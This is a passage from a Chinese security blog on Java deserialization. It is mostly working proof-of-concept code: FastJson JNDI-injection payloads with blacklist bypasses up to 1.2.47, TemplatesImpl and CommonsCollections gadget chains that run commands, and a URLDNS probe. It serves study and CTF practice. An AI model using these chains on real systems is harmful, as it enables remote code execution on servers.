*/ import com.alibaba.fastjson.JSON; public class Poc2 { public static void main(String[] args) { System.setProperty(\u0026#34;com.sun.jndi.rmi.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); // jndi高版本默认为false System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); // jndi高版本默认为false String PoC = \u0026#34;{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;com.sun.rowset.JdbcRowSetImpl\\\u0026#34;,\\\u0026#34;dataSourceName\\\u0026#34;:\\\u0026#34;rmi://localhost:1099/Exploit\\\u0026#34;, \\\u0026#34;autoCommit\\\u0026#34;:true}\u0026#34;; JSON.parse(PoC); } } 指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl\n通过setDataSourceName设置指定 RMI / LDAP 恶意服务器\n通过setAutoCommit，其中的this.conn == null，会执行 this.connect() 然后是DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); 会去lookup你之前设置的恶意服务器达成jndi注入\n其中字段的先后顺序会影响赋值的顺序，Poc2中需要dataSourceName先于autoCommit，否则在lookup时dataSourceName为空\n6. 补丁分析 1.2.25 新增了 autoTypeSupport 反序列化 选项，并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。\nmaven改一下版本\n1 2 3 4 5 \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;com.alibaba\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;fastjson\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.2.25\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; 黑名单\n0 = \u0026#34;bsh\u0026#34; 1 = \u0026#34;com.mchange\u0026#34; 2 = \u0026#34;com.sun.\u0026#34; 3 = \u0026#34;java.lang.Thread\u0026#34; 4 = \u0026#34;java.net.Socket\u0026#34; 5 = \u0026#34;java.rmi\u0026#34; 6 = \u0026#34;javax.xml\u0026#34; 7 = \u0026#34;org.apache.bcel\u0026#34; 8 = \u0026#34;org.apache.commons.beanutils\u0026#34; 9 = \u0026#34;org.apache.commons.collections.Transformer\u0026#34; 10 = \u0026#34;org.apache.commons.collections.functors\u0026#34; 11 = \u0026#34;org.apache.commons.collections4.comparators\u0026#34; 12 = \u0026#34;org.apache.commons.fileupload\u0026#34; 13 = \u0026#34;org.apache.myfaces.context.servlet\u0026#34; 14 = \u0026#34;org.apache.tomcat\u0026#34; 15 = \u0026#34;org.apache.wicket.util\u0026#34; 16 = \u0026#34;org.codehaus.groovy.runtime\u0026#34; 17 = \u0026#34;org.hibernate\u0026#34; 19 = \u0026#34;org.mozilla.javascript\u0026#34; 18 = \u0026#34;org.jboss\u0026#34; 20 = \u0026#34;org.python.core\u0026#34; 21 = \u0026#34;org.springframework\u0026#34; 可见 上面的JdbcRowSetImpl利⽤链使用的类 com.sun.rowset.JdbcRowSetImpl 被禁用了（”com.sun.”）\n白名单默认为空\nautoTypeSupport 为 true ，使⽤⿊名单验证，因此存在绕过⻛险。\n绕过POC\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example; /** * @author L1ao * @version 1.0 */ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; public class Poc2 { public static void main(String[] args) { System.setProperty(\u0026#34;com.sun.jndi.rmi.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤 String PoC = \u0026#34;{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;Lcom.sun.rowset.JdbcRowSetImpl;\\\u0026#34;,\\\u0026#34;dataSourceName\\\u0026#34;:\\\u0026#34;rmi://localhost:1099/k5xdee\\\u0026#34;,\\\u0026#34;autoCommit\\\u0026#34;:true}\u0026#34;; System.out.println(PoC); JSON.parse(PoC); } } 即在类名前加L后加;\n问题出现在\nloadClass:1084, TypeUtils (com.alibaba.fastjson.util) checkAutoType:861, ParserConfig (com.alibaba.fastjson.parser) parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:17, Poc2 (org.example) 这里如果类名为L并且;结尾则忽略开头和结尾，以新类名作为参数递归调⽤ loadClass 函数，最终加载 JdbcRowSetImpl 并返回，实现绕过。\n如果类名以[开头，则忽略开头，但是是返回array\n1.2.42 对之前版本进行修复，对黑名单使用类hash\n1 this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L}; 网上有对应的：https://github.com/LeadroyaL/fastjson-blacklist\n修改依赖\n1 2 3 4 5 \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;com.alibaba\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;fastjson\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.2.41\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; 就进行一次substring，双写绕过\nPoc\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example; /** * @author L1ao * @version 1.0 */ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; public class Poc2 { public static void main(String[] args) { System.setProperty(\u0026#34;com.sun.jndi.rmi.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤 String PoC = \u0026#34;{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;LLcom.sun.rowset.JdbcRowSetImpl;;\\\u0026#34;,\\\u0026#34;dataSourceName\\\u0026#34;:\\\u0026#34;rmi://localhost:1099/k5xdee\\\u0026#34;,\\\u0026#34;autoCommit\\\u0026#34;:true}\u0026#34;; System.out.println(PoC); JSON.parse(PoC); } } 1.2.43 修复了二次绕过，多次重复不再生效\n还记得之前那个[ 吗，这次绕过就是用的这个\n依旧修改maven不贴了\n给出Poc\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example; /** * @author L1ao * @version 1.0 */ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; public class Poc2 { public static void main(String[] args) { System.setProperty(\u0026#34;com.sun.jndi.rmi.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤 String PoC =\u0026#34;{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;[com.sun.rowset.JdbcRowSetImpl\\\u0026#34;[{,\\\u0026#34;dataSourceName\\\u0026#34;:\\\u0026#34;rmi://localhost:1099/nt91oz\\\u0026#34;,\\\u0026#34;autoCommit\\\u0026#34;:true}\u0026#34; ; System.out.println(PoC); JSON.parse(PoC); } } 1.2.44-1.2.45 修复了恶意类名前添加 [ 的引发安全问题\n第三方库的链子\n1 2 3 4 5 \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.mybatis\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;mybatis\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;3.5.3\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; 给出Poc\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example; /** * @author L1ao * @version 1.0 */ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; public class Poc2 { public static void main(String[] args) { System.setProperty(\u0026#34;com.sun.jndi.rmi.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤 String PoC = \u0026#34; {\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\\\u0026#34;,\\\u0026#34;properties\\\u0026#34;:{\\\u0026#34;data_source\\\u0026#34;:\\\u0026#34;rmi://localhost:1099/nt91oz\\\u0026#34;}}\u0026#34;; System.out.println(PoC); JSON.parse(PoC); } } 1.2.46-1.2.47 修复了上面的第三方链子\n新的 java.lang.Class 利⽤链，利⽤ 缓存 mappings 从⽽绕过了⿊⽩名单的限制加载 com.sun.rowset.JdbcRowSetImpl 类。不受 autoTypeSupport 选项的影响，威⼒更⼤，范围更⼴。\n给出Poc\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example; /** * @author L1ao * @version 1.0 */ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.rowset.JdbcRowSetImpl; public class Poc2 { public static void main(String[] args) { System.setProperty(\u0026#34;com.sun.jndi.rmi.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤 String payload = \u0026#34;{\\n\u0026#34; + \u0026#34; \\\u0026#34;name\\\u0026#34;:{\\n\u0026#34; + \u0026#34; \\\u0026#34;@type\\\u0026#34;:\\\u0026#34;java.lang.Class\\\u0026#34;,\\n\u0026#34; + \u0026#34; \\\u0026#34;val\\\u0026#34;:\\\u0026#34;com.sun.rowset.JdbcRowSetImpl\\\u0026#34;\\n\u0026#34; + \u0026#34; },\\n\u0026#34; + \u0026#34; \\\u0026#34;x\\\u0026#34;:{\\n\u0026#34; + \u0026#34; \\\u0026#34;@type\\\u0026#34;:\\\u0026#34;com.sun.rowset.JdbcRowSetImpl\\\u0026#34;,\\n\u0026#34; + \u0026#34; \\\u0026#34;dataSourceName\\\u0026#34;:\\\u0026#34;rmi://localhost:1099/nt91oz\\\u0026#34;,\\n\u0026#34; + \u0026#34; \\\u0026#34;autoCommit\\\u0026#34;:true\\n\u0026#34; + \u0026#34; }\\n\u0026#34; + \u0026#34;}\u0026#34;; System.out.println(payload); JSON.parse(payload); } } 利用java.lang.Class将com.sun.rowset.JdbcRowSetImpl注入到缓存中，然后反序列化com.sun.rowset.JdbcRowSetImpl时在缓存中绕过检测\n7. 原生类反序列化 https://paper.seebug.org/2055/\nois.readObject()\nfastjson的一条链\nPoc\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class Test { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass(\u0026#34;a\u0026#34;); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody(\u0026#34;Runtime.getRuntime().exec(\\\u0026#34;calc\\\u0026#34;);\u0026#34;); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, \u0026#34;_bytecodes\u0026#34;, bytes); setValue(templates, \u0026#34;_name\u0026#34;, \u0026#34;y4tacker\u0026#34;); setValue(templates, \u0026#34;_tfactory\u0026#34;, null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField(\u0026#34;val\u0026#34;); valfield.setAccessible(true); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } } 通杀链来自@1ue师傅，引用绕过\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.Base64; import java.util.List; import com.ctf.ezser.utils.MyObjectInputStream; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class Test3 { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass(\u0026#34;a\u0026#34;); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody(\u0026#34;Runtime.getRuntime().exec(\\\u0026#34;calc\\\u0026#34;);\u0026#34;); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, \u0026#34;_bytecodes\u0026#34;, bytes); setValue(templates, \u0026#34;_name\u0026#34;, \u0026#34;1ue\u0026#34;); setValue(templates, \u0026#34;_tfactory\u0026#34;, null); List\u0026lt;Object\u0026gt; list = new ArrayList\u0026lt;\u0026gt;(); list.add(templates); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField(\u0026#34;val\u0026#34;); valfield.setAccessible(true); valfield.set(val, jsonArray); list.add(val); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(list); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } } 阿里云ctf ezbean fastjson1.2.60，jdk 1.8.0_121（可以ldap），有tomcat\nwp给的链子差不多但是本地就不通了，报默认构造器不存在，不解，上面的通杀链可以通\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.ctf.ezser; import com.alibaba.fastjson.JSONArray; import com.ctf.ezser.bean.MyBean; import javax.management.BadAttributeValueExpException; import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class Poc { public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(\u0026#34;service:jmx:rmi:///jndi/rmi://localhost:1099/tostil\u0026#34;),null); MyBean myBean = new MyBean(\u0026#34;nm\u0026#34;,\u0026#34;ss\u0026#34;,rmiConnector); JSONArray jsonArray = new JSONArray(); jsonArray.add(myBean); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField(\u0026#34;val\u0026#34;); valfield.setAccessible(true); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } } default constructor not found. class javax.management.remote.rmi.RMIConnector\n跑了下nu1l的exp依旧报默认构造器不存在，不解\n","date":"2023-04-25T00:00:00Z","permalink":"/2023/04/25/fastjson-deserialization/","title":"FastJson 反序列化"},{"content":"Java 反序列化漫谈 1 环境准备 首先安装java\nwindows\nhttps://www.oracle.com/java/technologies/downloads/#java8-windows\nlinux\nsudo apt install openjdk-8-jre-headless\nsudo apt install openjdk-8-jdk-headless\n卸载java\n先检查是否安装，命令：dpkg --list | grep -i jdk 移除openjdk包，命令：apt-get purge openjdk* 卸载 OpenJDK 相关包，命令：apt-get purge icedtea-* openjdk-* 再次检查是否卸载成功，命令：dpkg --list | grep -i jdk 卸载完成 安装java\nhttps://www.oracle.com/java/technologies/downloads/#java8-linux vim命令打开/etc/profile vim /etc/profile 在文件中加入 JAVA_HOME=/usr/local/jdk1.7.0_71 CLASSPATH=.:$JAVA_HOME/lib.tools.jar PATH=$JAVA_HOME/bin:$PATH export JAVA_HOME CLASSPATH PATH 安装idea https://www.jetbrains.com/idea/download/#section=windows\n创建项目\n1 2 3 4 5 6 7 8 9 10 11 12 13 public class DoTest { public static void main(String[] args) { System.out.println(System.getProperty(\u0026#34;user.home\u0026#34;)); System.out.println(System.getProperty(\u0026#34;java.version\u0026#34;)); System.out.println(System.getProperty(\u0026#34;os.name\u0026#34;)); System.out.println(System.getProperty(\u0026#34;java.vendor.url\u0026#34;)); } } // output C:\\Users\\username 1.8.0_321 Windows 10 http://java.oracle.com/ 2 反射 反射就是Reflection，Java的反射是指程序在运行期可以拿到一个对象的所有信息。\n在正常情况下，除了系统类，如果我们想拿到一个类，需要先 import 才能使用。而使用forName就不 需要，这样对于我们的攻击者来说就十分有利，我们可以加载任意类。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class Reflection { public static void main(String[] args) throws Exception { execute(\u0026#34;Test\u0026#34;,\u0026#34;testPrint\u0026#34;); } public static void execute(String className, String methodName) throws Exception { Class clazz = Class.forName(className); } } class Test{ static { try { Class clazz = Class.forName(\u0026#34;java.lang.Runtime\u0026#34;); clazz.getMethod(\u0026#34;exec\u0026#34;, String[].class).invoke(clazz.getMethod(\u0026#34;getRuntime\u0026#34;).invoke(clazz),new String[][]{{\u0026#34;cmd.exe\u0026#34;,\u0026#34;/c\u0026#34;,\u0026#34;calc\u0026#34;}}); } catch (Exception e){ e.printStackTrace(); } } } ProcessBuilder，我们使用反射来获取其构造函数，然后调用 start() 来执行命令\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Reflection02 { public static void main(String[] args) { try { Class clazzTest = Class.forName(\u0026#34;Test2\u0026#34;); Class clazz = Class.forName(\u0026#34;java.lang.ProcessBuilder\u0026#34;); // ((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList(\u0026#34;cmd.exe\u0026#34;, \u0026#34;/c\u0026#34;, \u0026#34;calc\u0026#34;))).start(); // new ProcessBuilder(\u0026#34;calc.exe\u0026#34;).start(); // clazz.getMethod(\u0026#34;start\u0026#34;).invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList(\u0026#34;cmd.exe\u0026#34;,\u0026#34;/c\u0026#34;,\u0026#34;calc\u0026#34;))); clazz.getMethod(\u0026#34;start\u0026#34;).invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{\u0026#34;powershell.exe\u0026#34;,\u0026#34;-c\u0026#34;,\u0026#34;calc|calc\u0026#34;}})); } catch (Exception e) { e.printStackTrace(); } } } class Test2{ static { System.out.println(\u0026#34;test2\u0026#34;); } } 用 getDeclaredConstructor 来获取这个Runtime的构造方法来实例化对象，进而执行命令\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class Reflection03 { public static void main(String[] args) { try { Class clazz = Class.forName(\u0026#34;java.lang.Runtime\u0026#34;); Class constructor = Class.forName(\u0026#34;java.lang.reflect.Constructor\u0026#34;); Constructor m = clazz.getDeclaredConstructor(); m.setAccessible(true); clazz.getMethod(\u0026#34;exec\u0026#34;, String.class).invoke(m.newInstance(),\u0026#34;calc.exe\u0026#34;); } catch (Exception e) { e.printStackTrace(); } } } class Test3 { static { System.out.println(\u0026#34;test3\u0026#34;); } } 3 RMI 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 //RMIServer.java import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer { public interface IRemoteHelloWorld extends Remote { public String hello() throws RemoteException; } public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { protected RemoteHelloWorld() throws RemoteException { super(); } public String hello() throws RemoteException { System.out.println(\u0026#34;call from\u0026#34;); return \u0026#34;Hello world\u0026#34;; } } private void start() throws Exception { System.setProperty(\u0026#34;java.rmi.server.hostname\u0026#34;,\u0026#34;vpsip\u0026#34;); RemoteHelloWorld h = new RemoteHelloWorld(); // RemoteHelloWorld skeleton = (RemoteHelloWorld) UnicastRemoteObject.exportObject(h, 11041); LocateRegistry.createRegistry(11099); Naming.rebind(\u0026#34;rmi://127.0.0.1:11099/Hello\u0026#34;, h); } public static void main(String[] args) throws Exception { new RMIServer().start(); } } //Client.java import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.time.LocalDateTime; public class Client { public static void main(String[] args) throws RemoteException, NotBoundException { // 连接到服务器，端口11099: Registry registry = LocateRegistry.getRegistry(\u0026#34;vpsip\u0026#34;, 11099); // 查找名称为\u0026#34;WorldClock\u0026#34;的服务并强制转型为WorldClock接口: WorldClock worldClock = (WorldClock) registry.lookup(\u0026#34;WorldClock\u0026#34;); // 正常调用接口方法: LocalDateTime now = worldClock.getLocalDateTime(\u0026#34;Asia/Shanghai\u0026#34;); // 打印调用结果: System.out.println(now); } } 其中， java.rmi.server.hostname 是服务器的IP地址，远程调用时需要根据这个值来访问RMI Server。\n4 反序列化 简单的序列化与反序列化\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 //SerializeDemo.java import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; public class SerializeDemo { public static void main(String[] args) throws Exception { Person person = new Person(\u0026#34;L1ao\u0026#34;,3); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(person); byte[] encoded = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()); System.out.println(new String(encoded)); } } class Person implements java.io.Serializable { public String name; public int age; Person(String name, int age) { this.age = age; this.name = name; } } //DeserializeDemo.java import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64; public class DeserializeDemo { public static void main(String[] args) throws Exception { String b64 = \u0026#34;rO0ABXNyAAZQZXJzb26fU5kJESsv1QMAAkkAA2FnZUwABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAAAAN0AARMMWFvdAAQVGhpcyBpcyBhIG9iamVjdHg=\u0026#34;; byte[] bytes = Base64.getDecoder().decode(b64); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); Person p = null; p = (Person) in.readObject(); in.close(); System.out.println(\u0026#34;name:\u0026#34; + p.name +\u0026#34; age:\u0026#34; + p.age); } } URLDNS yso示例\n1 java -jar ysoserial.jar URLDNS \u0026#34;http://bb81c2a9.dns.1433.eu.org\u0026#34;|base64 使⽤Java内置的类构造，对第三⽅库没有依赖 在⽬标没有回显的时候，能够通过DNS请求得知是否存在反序列化漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 //URLDemo.java 示范 import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.Base64; import java.util.HashMap; /* * Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() * */ public class URLDemo { public static void main(String[] args) throws Exception { //Ser(); DeSer(); } static public void DeSer() throws Exception { String b64 = \u0026#34;rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAGDc2OGExODkyLmRucy4xNDMzLmV1Lm9yZ3QAAHEAfgAFdAAEaHR0cHB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAANF4\u0026#34;; byte[] bytes = Base64.getDecoder().decode(b64); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); in.readObject(); } static public void Ser() throws Exception { HashMap hashmap = new HashMap(); URL url = new URL(\u0026#34;http://768a1892.dns.1433.eu.org\u0026#34;); Field filed = Class.forName(\u0026#34;java.net.URL\u0026#34;).getDeclaredField(\u0026#34;hashCode\u0026#34;); filed.setAccessible(true); filed.set(url, 209); hashmap.put(url, 209); filed.set(url, -1); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashmap); byte[] encoded = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()); System.out.println(new String(encoded)); } } Collections1 安装 Java JDK 1.7 创建 Maven项目 添加依赖 1 2 3 4 5 6 7 \u0026lt;dependencies\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;commons-collections\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;commons-collections\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;3.1\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;/dependencies\u0026gt; TransformedMap版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 //CommonCollections1.java TransformedMap版 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.misc.BASE64Encoder; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\u0026#34;getMethod\u0026#34;, new Class[] { String.class, Class[].class }, new Object[] { \u0026#34;getRuntime\u0026#34;, new Class[0] }), new InvokerTransformer(\u0026#34;invoke\u0026#34;, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(\u0026#34;exec\u0026#34;, new Class[] { String.class }, new String[] {\u0026#34;calc.exe\u0026#34; }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put(\u0026#34;value\u0026#34;,\u0026#34;xxxx\u0026#34;); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName(\u0026#34;sun.reflect.annotation.AnnotationInvocationHandler\u0026#34;); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object obj = 